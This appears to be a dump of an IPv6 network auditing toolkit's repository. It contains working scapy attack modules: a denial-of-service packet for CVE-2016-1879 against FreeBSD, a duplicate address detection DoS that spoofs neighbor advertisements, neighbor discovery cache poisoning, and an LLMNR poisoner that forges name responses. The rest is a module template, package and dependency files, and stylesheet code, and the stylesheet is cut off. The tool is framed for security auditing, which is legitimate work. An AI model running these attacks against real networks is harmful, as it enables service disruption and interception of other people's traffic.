packet[ICMPv6NIReplyName].fields["data"][1][1].strip() 55 | res['mac'] = getMacFromPacket(packet) 56 | # multicast report 57 | elif Raw in packet and binascii.hexlify(str(packet[Raw]))[0:2] == "8f": 58 | channel = 'multicast_result' 59 | handler = icmpv6.ICMPv6() 60 | reports = handler.parseMulticastReport(packet[Raw]) 61 | res['multicast_report'] = reports 62 | res['mac'] = getMacFromPacket(packet) 63 | # llmnr 64 | elif UDP in packet and packet[UDP].dport == 5355 and LLMNRQuery in packet: 65 | channel = 'llmnr_result' 66 | try: 67 | handler = dns.DNS() 68 | dns_data = handler.parseLLMNRPacket(packet[LLMNRQuery]) 69 | if dns_data: 70 | res['dns_data'] = dns_data 71 | res['mac'] = getMacFromPacket(packet) 72 | # extract name from dns response type 28 73 | for entry in dns_data: 74 | if entry['answer_type'] == 28: 75 | res['device_name'] = entry['answer_name'] 76 | else: 77 | res = None 78 | except Exception: 79 | pass 80 | # dns data 81 | elif UDP in packet and packet[UDP].dport == 5353 and Raw in packet: 82 | channel = 'mdns_result' 83 | try: 84 | handler = dns.DNS() 85 | dns_data = handler.parsemDNS(packet[Raw]) 86 | if dns_data: 87 | res['dns_data'] = dns_data 88 | res['mac'] = getMacFromPacket(packet) 89 | # extract name from dns response type 28 90 | for entry in dns_data: 91 | if entry['answer_type'] == 28: 92 | res['device_name'] = entry['answer_name'] 93 | else: 94 | res = None 95 | except Exception: 96 | pass 97 | 98 | if channel and res: 99 | print(res) 100 | self.socketio.emit(channel, res, namespace=namespace) 101 | -------------------------------------------------------------------------------- /modules/CVE-2016-1879.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from template import Template 3 | 4 | class IPv6Module(Template): 5 | 6 | def __init__(self, socketio, namespace): 7 | super(IPv6Module, self).__init__(socketio, namespace) 8 | self.modname = "CVE-2016-1879" 9 | self.actions = [ 10 | { 11 | "title": "FreeBSD IPv6 DoS", 12 | "action": "action", 13 | "target": True 14 | } 15 | ] 16 | 17 | def action(self, target=None): 18 | ip = target['ip'] 19 | self.socket_log('Running DoS on '+target['ip']) 20 | self.DoS(ip) 21 | 22 | 23 | def DoS(self, ip): 24 | send(IPv6(dst=ip) / ICMPv6DestUnreach() / IPv6(nh=132,src=ip, dst=ip)) 25 | -------------------------------------------------------------------------------- /modules/DAD_DoS.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from copy import copy 3 | import sys 4 | from multiprocessing.pool import ThreadPool, Pool 5 | from template import Template 6 | 7 | sys.path.insert(0,'..') 8 | from ipv6.ipv6 import createIPv6, get_source_address, grabRawDst, grabRawSrc, getMacAddress 9 | 10 | class IPv6Module(Template): 11 | 12 | def __init__(self, socketio, namespace): 13 | super(IPv6Module, self).__init__(socketio, namespace) 14 | self.modname = "DAD DoS" 15 | self.actions = [ 16 | { 17 | "title": "Start DAD DoS", 18 | "action": "action" 19 | }, 20 | { 21 | "title": "Stop DAD DoS", 22 | "action": "stop_sniffer" 23 | } 24 | ] 25 | 26 | def action(self, target=None): 27 | self.sniffer = IPv6Sniffer(self) 28 | self.socket_log('Sniffer intitialized.') 29 | self.sniffer.start() 30 | 31 | def stop_sniffer(self, msg): 32 | try: 33 | self.sniffer.stop() 34 | self.socket_log('Sniffer terminated.') 35 | except Exception, e: 36 | self.socket_log('Sniffer not yet intitialized.') 37 | 38 | class IPv6Sniffer: 39 | pool = None 40 | stopped = False 41 | 42 | def __init__(self, mod): 43 | self.mod = mod 44 | 45 | # initialize the listener 46 | def start(self): 47 | print("sniffer intialized") 48 | self.stopped = False 49 | self.pool = ThreadPool(processes=1) 50 | self.pool.apply_async(self.listen) 51 | # self.listen() 52 | 53 | # start the listener 54 | def listen(self): 55 | res = sniff(lfilter=lambda (packet): IPv6 in packet, 56 | prn=lambda (packet): self.callback(packet), 57 | stop_filter=self.stopfilter, 58 | store=0) 59 | return res 60 | 61 | # stop the listener 62 | def stop(self): 63 | print('Stopping sniffer') 64 | self.stopped = True 65 | self.pool.close() 66 | self.pool.join() 67 | 68 | def stopfilter(self, packet): 69 | return self.stopped 70 | 71 | # callback for when packets are received 72 | def callback(self, packet): 73 | if ICMPv6ND_NS in packet: 74 | try: 75 | self.DAD_DoS(packet) 76 | except Exception,e: 77 | exc_info = sys.exc_info() 78 | traceback.print_exception(*exc_info) 79 | #print e 80 | 81 | def DAD_DoS(self, packet, dst=get_source_address(IPv6(dst="ff02::1"))): 82 | tgt = packet[ICMPv6ND_NS].fields["tgt"] 83 | 84 | ip_packet = createIPv6() 85 | ip_packet.fields["nh"] = 58 #ICMPv6 86 | ip_packet.fields["hlim"] = 255 87 | ip_packet.fields["src"] = tgt 88 | ip_packet.fields["dst"] = "ff02::1" 89 | 90 | #if packet[IPv6].src != "::": 91 | # packet[IPv6].fields["dst"] = packet[IPv6].src 92 | 93 | advertisement = ICMPv6ND_NA() 94 | advertisement.fields["R"] = 0 95 | advertisement.fields["S"] = 0 96 | advertisement.fields["O"] = 1 97 | advertisement.fields["tgt"] = tgt 98 | 99 | options = ICMPv6NDOptSrcLLAddr() 100 | options.fields["lladdr"] = [get_if_hwaddr(i) for i in get_if_list()][0] 101 | 102 | send(ip_packet/advertisement/options) 103 | out = "DAD_DoS: Overriding IPv6 Neighbor Solicitation: %s" % (tgt) 104 | self.mod.socket_log(out) 105 | print out 106 | -------------------------------------------------------------------------------- /modules/ND_Cache_Poisoning.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from copy import copy 3 | import sys 4 | from multiprocessing.pool import ThreadPool, Pool 5 | from template import Template 6 | import random 7 | import time 8 | 9 | sys.path.insert(0,'..') 10 | from ipv6.ipv6 import createIPv6, get_source_address, grabRawDst, grabRawSrc, getMacAddress 11 | 12 | class IPv6Module(Template): 13 | 14 | def __init__(self, socketio, namespace): 15 | super(IPv6Module, self).__init__(socketio, namespace) 16 | self.modname = "ND Cache Poisoning" 17 | self.actions = [ 18 | { 19 | "title": "ND Cache Poisoning", 20 | "action": "action", 21 | "target": True 22 | }, 23 | ] 24 | 25 | def action(self, target=None): 26 | self.socket_log('Poisoning cache on %s.' % target) 27 | counter = 0 28 | while counter < 100: 29 | try: 30 | self.cache_poison(target) 31 | counter += 1 32 | except Exception as e: 33 | self.socket_log(str(e)) 34 | self.socket_log('Poisoning cache finished.') 35 | 36 | def cache_poison(self, target, dst=get_source_address(IPv6(dst="ff02::1"))): 37 | M = 16**4 38 | src = "fe80::" + ":".join(("%x" % random.randint(0, M) for i in range(4))) 39 | 40 | lladdr = getMacAddress(src) 41 | 42 | ip_packet = createIPv6() 43 | ip_packet.fields["version"] = 6L 44 | ip_packet.fields["tc"] = 0L 45 | ip_packet.fields["nh"] = 58 46 | ip_packet.fields["hlim"] = 255 47 | ip_packet.fields["src"] = src 48 | ip_packet.fields["dst"] = target["ip"] 49 | 50 | icmp_packet = ICMPv6ND_NS() 51 | icmp_packet.fields["code"] = 0 52 | icmp_packet.fields["res"] = 0 53 | icmp_packet.fields["type"] = 135 54 | icmp_packet.fields["tgt"] = target["ip"] 55 | 56 | llpacket = ICMPv6NDOptSrcLLAddr() 57 | llpacket.fields["type"] = 1 58 | llpacket.fields["len"] = 1 59 | llpacket.fields["lladdr"] = lladdr 60 | 61 | send(ip_packet/icmp_packet/llpacket) 62 | 63 | time.sleep(1) -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/modules/__init__.py -------------------------------------------------------------------------------- /modules/poisonLLMNR.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from copy import copy 3 | import sys 4 | from multiprocessing.pool import ThreadPool, Pool 5 | from template import Template 6 | 7 | sys.path.insert(0,'..') 8 | from ipv6.ipv6 import createIPv6, get_source_address, grabRawDst, grabRawSrc, getMacAddress 9 | 10 | class IPv6Module(Template): 11 | 12 | def __init__(self, socketio, namespace): 13 | super(IPv6Module, self).__init__(socketio, namespace) 14 | self.modname = "poisonLLMNR" 15 | self.actions = [ 16 | { 17 | "title": "Poison LLMNR", 18 | "action": "action", 19 | "target": True 20 | }, 21 | { 22 | "title": "Poison LLMNR", 23 | "action": "action" 24 | }, 25 | { 26 | "title": "Stop LLMNR poisoner", 27 | "action": "stop_sniffer" 28 | } 29 | ] 30 | 31 | def action(self, target=None): 32 | self.sniffer = IPv6Sniffer(self) 33 | self.socket_log('Sniffer intitialized.') 34 | self.sniffer.start() 35 | 36 | def stop_sniffer(self, msg): 37 | try: 38 | self.sniffer.stop() 39 | self.socket_log('Sniffer terminated.') 40 | except Exception, e: 41 | self.socket_log('Sniffer not yet intitialized.') 42 | 43 | class IPv6Sniffer: 44 | pool = None 45 | stopped = False 46 | 47 | def __init__(self, mod): 48 | self.mod = mod 49 | 50 | # initialize the listener 51 | def start(self): 52 | print("sniffer intialized") 53 | self.stopped = False 54 | self.pool = ThreadPool(processes=1) 55 | self.pool.apply_async(self.listen) 56 | # self.listen() 57 | 58 | # start the listener 59 | def listen(self): 60 | res = sniff(lfilter=lambda (packet): IPv6 in packet, 61 | prn=lambda (packet): self.callback(packet), 62 | stop_filter=self.stopfilter, 63 | store=0) 64 | return res 65 | 66 | # stop the listener 67 | def stop(self): 68 | print('Stopping sniffer') 69 | self.stopped = True 70 | self.pool.close() 71 | self.pool.join() 72 | 73 | def stopfilter(self, packet): 74 | return self.stopped 75 | 76 | # callback for when packets are received 77 | def callback(self, packet): 78 | res = {} 79 | res['ip'] = packet[IPv6].src 80 | channel = False 81 | if UDP in packet and packet[UDP].dport == 5355 and LLMNRQuery in packet: 82 | channel = 'llmnr_result' 83 | try: 84 | self.poisonLLMNR(packet) 85 | except Exception,e: 86 | exc_info = sys.exc_info() 87 | traceback.print_exception(*exc_info) 88 | #print e 89 | 90 | def poisonLLMNR(self, packet,target=None, src=None, dst=get_source_address(IPv6(dst="ff02::1"))): 91 | responseDict = {} 92 | responses = [packet] 93 | for response in responses: 94 | ip = response[IPv6].src 95 | rawSrc = copy(response[IPv6]) 96 | rawSrc.remove_payload() 97 | rawSrc = grabRawSrc(rawSrc) 98 | mac = getMacAddress(rawSrc) 99 | if ip not in responseDict: 100 | responseDict[ip] = {"mac": mac} 101 | 102 | 103 | if response[LLMNRQuery].fields["opcode"] == 0L and response[LLMNRQuery].fields["ancount"] == 0: 104 | ip_packet = createIPv6() 105 | ip_packet.fields["nh"] = 17 #DNS 106 | ip_packet.fields["hlim"] = 255 107 | ip_packet.fields["dst"] = response[IPv6].fields["src"] 108 | ip_packet.fields["src"] = dst 109 | 110 | udp_segment = UDP() 111 | udp_segment.fields["dport"] = response[UDP].fields["sport"] 112 | udp_segment.fields["sport"] = response[UDP].fields["dport"] 113 | 114 | llmnrQuery = LLMNRQuery() 115 | llmnrQuery.fields["qr"] = 1L 116 | llmnrQuery.fields["qdcount"] = 1 117 | llmnrQuery.fields["opcode"] = 0L 118 | llmnrQuery.fields["id"] = response[LLMNRQuery].fields["id"] 119 | llmnrQuery.fields["ancount"] = 1 120 | 121 | rr = DNSRR() 122 | rr.fields["rclass"] = 1 123 | rr.fields["ttl"] = 30 124 | rr.fields["rrname"] = response[LLMNRQuery].fields["qd"].fields["qname"] 125 | rr.fields["rdata"] = dst 126 | rr.fields["type"] = 28 127 | 128 | qr = DNSQR() 129 | qr.fields["qclass"] = 1 130 | qr.fields["qtype"] = 28 131 | qr.fields["qname"] = response[LLMNRQuery].fields["qd"].fields["qname"] 132 | 133 | llmnrQuery.fields["an"] = rr 134 | llmnrQuery.fields["qd"] = qr 135 | 136 | if target: 137 | if target == response[LLMNRQuery].fields["qd"].fields["qname"].replace(".",""): 138 | send(ip_packet/udp_segment/llmnrQuery) 139 | out = "Poisioned LLMNR name: %s Packet sent to %s" % (response[LLMNRQuery].fields["qd"].fields["qname"].replace(".",""),response[IPv6].fields["src"]) 140 | self.mod.socket_log(out) 141 | print out 142 | else: 143 | send(ip_packet/udp_segment/llmnrQuery) 144 | out = "Poisioned LLMNR name: %s Packet sent to %s" % (response[LLMNRQuery].fields["qd"].fields["qname"].replace(".",""),response[IPv6].fields["src"]) 145 | self.mod.socket_log(out) 146 | print out 147 | -------------------------------------------------------------------------------- /modules/template.py: -------------------------------------------------------------------------------- 1 | # Template Class 2 | # This class is for future modules to extend to allow 3 | # for easy inheritance of methods and default values 4 | class Template(object): 5 | # params 6 | # sio [required] - reference to the application's socketio instance 7 | # ns [required] - the namespace for socketio 8 | def __init__(self, sio, ns): 9 | self.actions = None # Array of actions. Ex: 10 | # [{ 11 | # "title": "Human Friendly Action Name", 12 | # "action": "method_name_to_call", 13 | # "target": True/False (show in right-click menu) 14 | # }] 15 | self.modname = "Unnamed Module" # Human-friendly module name 16 | self.socketio = sio # socketio reference 17 | self.namespace = ns # namespace reference 18 | 19 | # Action as defined in self.actions 20 | # params 21 | # None 22 | def action(self): 23 | return "Action is not yet defined." 24 | 25 | # Merge a list of dictionaries with the main result set on IP 26 | # msg [required] - List of dicts containing an "ip" key to merge with 27 | def module_merge(self, msg): 28 | if self.socketio: 29 | self.socketio.emit('module_merge', msg, namespace=self.namespace) 30 | else: 31 | print msg 32 | 33 | # Send messages back to the webpage for logging 34 | # msg [required] - text to output 35 | def socket_log(self, msg): 36 | if self.socketio: 37 | self.socketio.emit('module_output', {'log': msg, 'module': self.modname}, namespace=self.namespace) 38 | else: 39 | print msg 40 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ipv6tools", 3 | "version": "1.0.0", 4 | "description": "The IPv6 framework is a robust set of modules and plugins that allow a user to audit an IPv6 enabled network. Edit", 5 | "main": "webpack.config.js", 6 | "scripts": { 7 | "dev": "webpack-dev-server --inline --hot --host 0.0.0.0 --port 8081", 8 | "build": "webpack --progress --hide-modules", 9 | "setup": "sudo pip install -r requirements.txt && npm install && npm run build", 10 | "serve": "sudo python app.py", 11 | "start": "npm run build && npm run serve" 12 | }, 13 | "repository": { 14 | "type": "git", 15 | "url": "git+https://github.com/apg-intel/ipv6tools.git" 16 | }, 17 | "keywords": [ 18 | "ipv6" 19 | ], 20 | "author": "joshporter1+ronmajic", 21 | "license": "GPL-2.0", 22 | "bugs": { 23 | "url": "https://github.com/apg-intel/ipv6tools/issues" 24 | }, 25 | "homepage": "https://github.com/apg-intel/ipv6tools#readme", 26 | "dependencies": { 27 | "bulma": "^0.4.0", 28 | "socket.io": "^1.7.3" 29 | }, 30 | "devDependencies": { 31 | "babel-core": "^6.24.0", 32 | "babel-loader": "^6.4.1", 33 | "babel-plugin-transform-export-extensions": "^6.22.0", 34 | "babel-preset-es2015": "^6.24.0", 35 | "babel-preset-vue": "^0.1.0", 36 | "bulma": "^0.4.0", 37 | "css-loader": "^0.27.3", 38 | "d3": "^4.7.3", 39 | "deepmerge": "^1.3.2", 40 | "file-loader": "^0.10.1", 41 | "font-awesome": "^4.7.0", 42 | "forever": "^0.15.3", 43 | "socket.io-client": "^1.7.3", 44 | "style-loader": "^0.14.1", 45 | "url-loader": "^0.5.8", 46 | "vue": "^2.2.4", 47 | "vue-loader": "^11.1.4", 48 | "vue-template-compiler": "^2.2.4", 49 | "webpack": "^2.2.1", 50 | "webpack-dev-server": "^2.4.2" 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | dnslib==0.9.7 2 | Flask==0.12.2 3 | Flask-SocketIO==2.8.6 4 | gevent==1.2.1 5 | gevent-websocket==0.10.1 6 | netifaces==0.10.5 7 | pcapy==0.11.1 8 | scapy==2.3.3 9 | -------------------------------------------------------------------------------- /screenshots/scanning.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/screenshots/scanning.gif -------------------------------------------------------------------------------- /server/static/css/app.css: -------------------------------------------------------------------------------- 1 | /* Move down content because we have a fixed navbar that is 50px tall */ 2 | body { padding-top: 50px; } 3 | 4 | /* 5 | * Global add-ons 6 | */ 7 | 8 | .sub-header { 9 | padding-bottom: 10px; 10 | border-bottom: 1px solid #eee; 11 | } 12 | 13 | /* 14 | * Top navigation 15 | * Hide default border to remove 1px line. 16 | */ 17 | 18 | .navbar-fixed-top { border: 0; } 19 | 20 | /* 21 | * Main content 22 | */ 23 | 24 | .main { padding: 20px; } 25 | @media (min-width: 768px) { 26 | .main { 27 | padding-right: 40px; 28 | padding-left: 40px; 29 | } 30 | } 31 | .main .page-header { margin-top: 0; } 32 | 33 | /* 34 | * Entries table 35 | */ 36 | 37 | #nodetable tr { cursor: pointer; } 38 | #nodetable tr.has-details.shown, #nodetable tr.highlighted-row { background-color: #d9edf7; } 39 | #nodetable tr.dns-details { background-color: #f5f5f5; } 40 | #nodetable table.row-details-table { margin-bottom: 0; } 41 | #nodetable tr.has-details > .details-control > .glyphicon { opacity: 0.5; } 42 | #nodetable table.row-details-table tr > td.answer_data { word-break: break-word; } 43 | table.borderless tr > td { border: none!important; } 44 | table.borderless tr > th { 45 | border-top: none!important; 46 | border-bottom: 1px solid #ddd; 47 | } 48 | 49 | /* 50 | * Node graph styles 51 | */ 52 | 53 | circle.node { cursor: pointer; } 54 | 55 | /* 56 | * Node graph context menu 57 | */ 58 | .nodegraph-context-menu { 59 | position: absolute; 60 | display: none; 61 | z-index: 1200; 62 | } 63 | .nodegraph-context-menu ul.dropdown-menu { display: block; } 64 | 65 | 66 | /* 67 | * Modules 68 | */ 69 | #module-console { 70 | height: 200px; 71 | overflow-y: auto; 72 | background-color: #1d1f21; 73 | } 74 | 75 | #module-console > div .ts { color: #5f819d; } 76 | #module-console > div .modname { color: #a54242; } 77 | #module-console > div .msglog { color: #c5c8c6; } 78 | #module-console > div { color: #c5c8c6; } 79 | #module-buttons { margin-bottom: 10px; } 80 | -------------------------------------------------------------------------------- /server/static/css/bootstrap-theme.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.5 (http://getbootstrap.com) 3 | * Copyright 2011-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | .btn-default, 7 | .btn-primary, 8 | .btn-success, 9 | .btn-info, 10 | .btn-warning, 11 | .btn-danger { 12 | text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); 13 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); 14 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); 15 | } 16 | .btn-default:active, 17 | .btn-primary:active, 18 | .btn-success:active, 19 | .btn-info:active, 20 | .btn-warning:active, 21 | .btn-danger:active, 22 | .btn-default.active, 23 | .btn-primary.active, 24 | .btn-success.active, 25 | .btn-info.active, 26 | .btn-warning.active, 27 | .btn-danger.active { 28 | -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); 29 | box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); 30 | } 31 | .btn-default.disabled, 32 | .btn-primary.disabled, 33 | .btn-success.disabled, 34 | .btn-info.disabled, 35 | .btn-warning.disabled, 36 | .btn-danger.disabled, 37 | .btn-default[disabled], 38 | .btn-primary[disabled], 39 | .btn-success[disabled], 40 | .btn-info[disabled], 41 | .btn-warning[disabled], 42 | .btn-danger[disabled], 43 | fieldset[disabled] .btn-default, 44 | fieldset[disabled] .btn-primary, 45 | fieldset[disabled] .btn-success, 46 | fieldset[disabled] .btn-info, 47 | fieldset[disabled] .btn-warning, 48 | fieldset[disabled] .btn-danger { 49 | -webkit-box-shadow: none; 50 | box-shadow: none; 51 | } 52 | .btn-default .badge, 53 | .btn-primary .badge, 54 | .btn-success .badge, 55 | .btn-info .badge, 56 | .btn-warning .badge, 57 | .btn-danger .badge { 58 | text-shadow: none; 59 | } 60 | .btn:active, 61 | .btn.active { 62 | background-image: none; 63 | } 64 | .btn-default { 65 | text-shadow: 0 1px 0 #fff; 66 | background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); 67 | background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); 68 | background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); 69 | background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); 70 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); 71 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 72 | background-repeat: repeat-x; 73 | border-color: #dbdbdb; 74 | border-color: #ccc; 75 | } 76 | .btn-default:hover, 77 | .btn-default:focus { 78 | background-color: #e0e0e0; 79 | background-position: 0 -15px; 80 | } 81 | .btn-default:active, 82 | .btn-default.active { 83 | background-color: #e0e0e0; 84 | border-color: #dbdbdb; 85 | } 86 | .btn-default.disabled, 87 | .btn-default[disabled], 88 | fieldset[disabled] .btn-default, 89 | .btn-default.disabled:hover, 90 | .btn-default[disabled]:hover, 91 | fieldset[disabled] .btn-default:hover, 92 | .btn-default.disabled:focus, 93 | .btn-default[disabled]:focus, 94 | fieldset[disabled] .btn-default:focus, 95 | .btn-default.disabled.focus, 96 | .btn-default[disabled].focus, 97 | fieldset[disabled] .btn-default.focus, 98 | .btn-default.disabled:active, 99 | .btn-default[disabled]:active, 100 | fieldset[disabled] .btn-default:active, 101 | .btn-default.disabled.active, 102 | .btn-default[disabled].active, 103 | fieldset[disabled] .btn-default.active { 104 | background-color: #e0e0e0; 105 | background-image: none; 106 | } 107 | .btn-primary { 108 | background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); 109 | background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); 110 | background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); 111 | background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); 112 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); 113 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 114 | background-repeat: repeat-x; 115 | border-color: #245580; 116 | } 117 | .btn-primary:hover, 118 | .btn-primary:focus { 119 | background-color: #265a88; 120 | background-position: 0 -15px; 121 | } 122 | .btn-primary:active, 123 | .btn-primary.active { 124 | background-color: #265a88; 125 | border-color: #245580; 126 | } 127 | .btn-primary.disabled, 128 | .btn-primary[disabled], 129 | fieldset[disabled] .btn-primary, 130 | .btn-primary.disabled:hover, 131 | .btn-primary[disabled]:hover, 132 | fieldset[disabled] .btn-primary:hover, 133 | .btn-primary.disabled:focus, 134 | .btn-primary[disabled]:focus, 135 | fieldset[disabled] .btn-primary:focus, 136 | .btn-primary.disabled.focus, 137 | .btn-primary[disabled].focus, 138 | fieldset[disabled] .btn-primary.focus, 139 | .btn-primary.disabled:active, 140 | .btn-primary[disabled]:active, 141 | fieldset[disabled] .btn-primary:active, 142 | .btn-primary.disabled.active, 143 | .btn-primary[disabled].active, 144 | fieldset[disabled] .btn-primary.active { 145 | background-color: #265a88; 146 | background-image: none; 147 | } 148 | .btn-success { 149 | background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); 150 | background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); 151 | background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); 152 | background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); 153 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); 154 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 155 | background-repeat: repeat-x; 156 | border-color: #3e8f3e; 157 | } 158 | .btn-success:hover, 159 | .btn-success:focus { 160 | background-color: #419641; 161 | background-position: 0 -15px; 162 | } 163 | .btn-success:active, 164 | .btn-success.active { 165 | background-color: #419641; 166 | border-color: #3e8f3e; 167 | } 168 | .btn-success.disabled, 169 | .btn-success[disabled], 170 | fieldset[disabled] .btn-success, 171 | .btn-success.disabled:hover, 172 | .btn-success[disabled]:hover, 173 | fieldset[disabled] .btn-success:hover, 174 | .btn-success.disabled:focus, 175 | .btn-success[disabled]:focus, 176 | fieldset[disabled] .btn-success:focus, 177 | .btn-success.disabled.focus, 178 | .btn-success[disabled].focus, 179 | fieldset[disabled] .btn-success.focus, 180 | .btn-success.disabled:active, 181 | .btn-success[disabled]:active, 182 | fieldset[disabled] .btn-success:active, 183 | .btn-success.disabled.active, 184 | .btn-success[disabled].active, 185 | fieldset[disabled] .btn-success.active { 186 | background-color: #419641; 187 | background-image: none; 188 | } 189 | .btn-info { 190 | background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); 191 | background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); 192 | background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); 193 | background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); 194 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); 195 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 196 | background-repeat: repeat-x; 197 | border-color: #28a4c9; 198 | } 199 | .btn-info:hover, 200 | .btn-info:focus { 201 | background-color: #2aabd2; 202 | background-position: 0 -15px; 203 | } 204 | .btn-info:active, 205 | .btn-info.active { 206 | background-color: #2aabd2; 207 | border-color: #28a4c9; 208 | } 209 | .btn-info.disabled, 210 | .btn-info[disabled], 211 | fieldset[disabled] .btn-info, 212 | .btn-info.disabled:hover, 213 | .btn-info[disabled]:hover, 214 | fieldset[disabled] .btn-info:hover, 215 | .btn-info.disabled:focus, 216 | .btn-info[disabled]:focus, 217 | fieldset[disabled] .btn-info:focus, 218 | .btn-info.disabled.focus, 219 | .btn-info[disabled].focus, 220 | fieldset[disabled] .btn-info.focus, 221 | .btn-info.disabled:active, 222 | .btn-info[disabled]:active, 223 | fieldset[disabled] .btn-info:active, 224 | .btn-info.disabled.active, 225 | .btn-info[disabled].active, 226 | fieldset[disabled] .btn-info.active { 227 | background-color: #2aabd2; 228 | background-image: none; 229 | } 230 | .btn-warning { 231 | background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); 232 | background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); 233 | background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); 234 | background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); 235 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); 236 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 237 | background-repeat: repeat-x; 238 | border-color: #e38d13; 239 | } 240 | .btn-warning:hover, 241 | .btn-warning:focus { 242 | background-color: #eb9316; 243 | background-position: 0 -15px; 244 | } 245 | .btn-warning:active, 246 | .btn-warning.active { 247 | background-color: #eb9316; 248 | border-color: #e38d13; 249 | } 250 | .btn-warning.disabled, 251 | .btn-warning[disabled], 252 | fieldset[disabled] .btn-warning, 253 | .btn-warning.disabled:hover, 254 | .btn-warning[disabled]:hover, 255 | fieldset[disabled] .btn-warning:hover, 256 | .btn-warning.disabled:focus, 257 | .btn-warning[disabled]:focus, 258 | fieldset[disabled] .btn-warning:focus, 259 | .btn-warning.disabled.focus, 260 | .btn-warning[disabled].focus, 261 | fieldset[disabled] .btn-warning.focus, 262 | .btn-warning.disabled:active, 263 | .btn-warning[disabled]:active, 264 | fieldset[disabled] .btn-warning:active, 265 | .btn-warning.disabled.active, 266 | .btn-warning[disabled].active, 267 | fieldset[disabled] .btn-warning.active { 268 | background-color: #eb9316; 269 | background-image: none; 270 | } 271 | .btn-danger { 272 | background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); 273 | background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); 274 | background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); 275 | background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); 276 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); 277 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 278 | background-repeat: repeat-x; 279 | border-color: #b92c28; 280 | } 281 | .btn-danger:hover, 282 | .btn-danger:focus { 283 | background-color: #c12e2a; 284 | background-position: 0 -15px; 285 | } 286 | .btn-danger:active, 287 | .btn-danger.active { 288 | background-color: #c12e2a; 289 | border-color: #b92c28; 290 | } 291 | .btn-danger.disabled, 292 | .btn-danger[disabled], 293 | fieldset[disabled] .btn-danger, 294 | .btn-danger.disabled:hover, 295 | .btn-danger[disabled]:hover, 296 | fieldset[disabled] .btn-danger:hover, 297 | .btn-danger.disabled:focus, 298 | .btn-danger[disabled]:focus, 299 | fieldset[disabled] .btn-danger:focus, 300 | .btn-danger.disabled.focus, 301 | .btn-danger[disabled].focus, 302 | fieldset[disabled] .btn-danger.focus, 303 | .btn-danger.disabled:active, 304 | .btn-danger[disabled]:active, 305 | fieldset[disabled] .btn-danger:active, 306 | .btn-danger.disabled.active, 307 | .btn-danger[disabled].active, 308 | fieldset[disabled] .btn-danger.active { 309 | background-color: #c12e2a; 310 | background-image: none; 311 | } 312 | .thumbnail, 313 | .img-thumbnail { 314 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); 315 | box-shadow: 0 1px 2px rgba(0, 0, 0, .075); 316 | } 317 | .dropdown-menu > li > a:hover, 318 | .dropdown-menu > li > a:focus { 319 | background-color: #e8e8e8; 320 